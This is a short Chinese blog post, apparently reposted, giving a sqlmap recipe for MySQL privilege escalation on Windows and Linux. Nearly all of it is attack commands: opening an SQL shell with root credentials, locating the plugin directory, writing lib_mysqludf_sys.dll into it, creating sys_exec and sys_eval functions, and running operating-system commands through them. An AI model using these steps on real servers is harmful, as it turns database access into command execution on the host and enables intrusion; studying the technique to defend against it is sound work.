1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shell select @@version; select @@plugin_dir; d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 2.利用sqlmap上传lib_mysqludf_sys到MySQL插件目录: sqlmap.py -d mysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll' CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll' select sys_eval('ver');
利用sqlmap进行mysql提权的小方法(win与liunx通用)
猜你喜欢
转载自www.cnblogs.com/pt007/p/11876442.html
今日推荐
周排行